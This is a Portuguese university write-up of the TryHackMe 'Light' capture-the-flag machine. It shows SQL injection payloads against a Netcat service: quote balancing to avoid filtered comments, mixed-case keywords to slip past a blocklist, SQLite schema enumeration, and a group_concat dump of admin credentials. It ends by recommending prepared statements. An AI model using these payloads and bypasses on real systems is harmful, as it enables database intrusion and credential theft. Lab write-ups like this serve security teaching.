

Universidade de Brasília
Tópicos Avançados em Computadores

Write-Up

TryHackMe – Light

Plataforma: TryHackMe
Dificuldade: Fácil
Data de Resolução: 20/01/2025

Autor: Mateus Reis Bastos
Matrícula: 241008513

Universidade de Brasília – UnB
2026

Sumário

1	Visão Geral	2
2	Reconhecimento e Análise do Serviço	2
3	Exploração: Injeção SQL e Bypasses	2
3.1	Bypass de Comentários	2
3.2	Bypass de Palavras-Chave e Identificação do SGBD	2
4	Enumeração e Extração de Dados	3
4.1	Obtenção do Esquema	3
4.2	Exfiltração de Credenciais e Flags	3
5	Conclusão	4

1 Visão Geral

A máquina Light é um desafio fácil onde exploramos uma aplicação de banco de dados via Netcat. O foco é identificar um **SQL Injection (SQLi)** e fazer *bypass* em filtros simples que bloqueiam comentários e palavras-chave do SQL. Com isso, conseguimos enumerar um banco **SQLite** e extrair a senha do administrador.

2 Reconhecimento e Análise do Serviço

Para começar, conectei ao serviço na porta 1337 com o Netcat.

```
1 nc <Machine IP> 1337
```

Listing 1: Comando inicial para conectar à aplicação

O usuário <usuario_padrao> retorna uma senha válida, mas digitar qualquer nome aleatório gera uma resposta diferente.

Testei alguns caracteres especiais (', .<>/?; :-%*) para ver como o backend lidava com a entrada. Qualquer coisa depois de uma aspa simples (') voltava na tela acompanhada de um erro contendo a cláusula **LIMIT 30**. Isso entregou logo de cara que o banco era SQL e deixou a estrutura da query óbvia:

```
1 SELECT password FROM <TABLE_NAME> WHERE username = '<USER_INPUT
>' LIMIT 30
```

Listing 2: Inferência da instrução SQL no backend

3 Exploração: Injeção SQL e Bypasses

3.1 Bypass de Comentários

A injeção mais clássica tenta fechar a string inicial e comentar o resto da linha:

```
1 ' OR '1' = '1' --
```

Listing 3: Tentativa clássica de injeção

O problema é que o serviço filtrava o comentário padrão do SQL (-). A saída foi balancear as aspas para a query funcionar sem precisar comentar o final:

```
1 ' OR '1' = '1
```

Listing 4: Injeção manipulada para evitar comentários

No backend, a instrução vira **WHERE username = " OR '1' = '1' LIMIT 30**. O servidor não retornou erros, confirmando a vulnerabilidade.

3.2 Bypass de Palavras-Chave e Identificação do SGBD

Até aqui, eu não sabia qual era o motor do banco. Ao tentar enviar comandos mais complexos, descobri que a aplicação também bloqueava palavras como **SELECT** e **UNION**.

O filtro era simples e checava apenas a string exata. Bastou misturar letras maiúsculas e minúsculas para passar direto:

- `SELECT` vira `SeLeCT`
- `UNION` vira `UniOn`

Com esse bypass funcionando, o próximo passo era identificar o banco. Rodei uma função específica do SQLite para puxar a versão:

```
1 ' UniOn SeLeCT sqlite_version()
```

Listing 5: Descobrindo a versão e confirmando ser SQLite

A resposta 3.31.1 confirmou que era um SQLite rodando por trás.

4 Enumeração e Extração de Dados

Sabendo que era SQLite, comecei a enumerar as tabelas consultando a `sqlite_master`.

4.1 Obtenção do Esquema

Primeiro, listei o nome das tabelas:

```
1 ' UniOn SeLeCT tbl_name FRoM sqlite_master
```

Listing 6: Enumerando tabelas

A query retornou a tabela `admintable`. Para saber quais colunas ela tinha, extraí o código de criação:

```
1 ' UniOn SeLeCT sql FRoM sqlite_master
```

Listing 7: Listando as colunas da tabela `admintable`

O banco devolveu que os campos eram `username` e `password`.

4.2 Exfiltração de Credenciais e Flags

Com a estrutura na mão, montei o payload do dump. Usei a função `group_concat()` para juntar todos os resultados numa string só, evitando que o `LIMIT 30` cortasse informações.

```
1 ' UniOn SeLeCT group_concat(username || ':' || password) FRoM
  admintable
```

Listing 8: Extraíndo credenciais do banco

Isso devolveu a credencial de admin: `TryHackMeAdmin:<senha_admin>`.

Repetindo esse mesmo processo de enumeração no esquema, cheguei na flag final da máquina: `<flag_da_maquina>`.

5 Conclusão

A máquina Light mostra que filtros de input superficiais não resolvem o problema de segurança na aplicação.

Um simples erro na tela vazou a cláusula `LIMIT` e entregou a estrutura da query. Além disso, os bypasses foram fáceis. Mudar letras para maiúsculo (`SeLeCT`) e balancear aspas ao invés de usar comentários deixou claro que é inútil depender de blocklists de palavras.

O jeito certo de lidar com banco de dados é usando *Prepared Statements*. Concatenar strings direto na query sempre vai dar problema, seja num formulário web ou numa porta TCP aberta pelo Netcat.

Referências

- [1] SQLite Documentation. *The Schema Table*. Disponível em: <https://www.sqlite.org/schematab.html>
- [2] HackTricks. *SQLite Injection*. Disponível em: <https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlite-injection>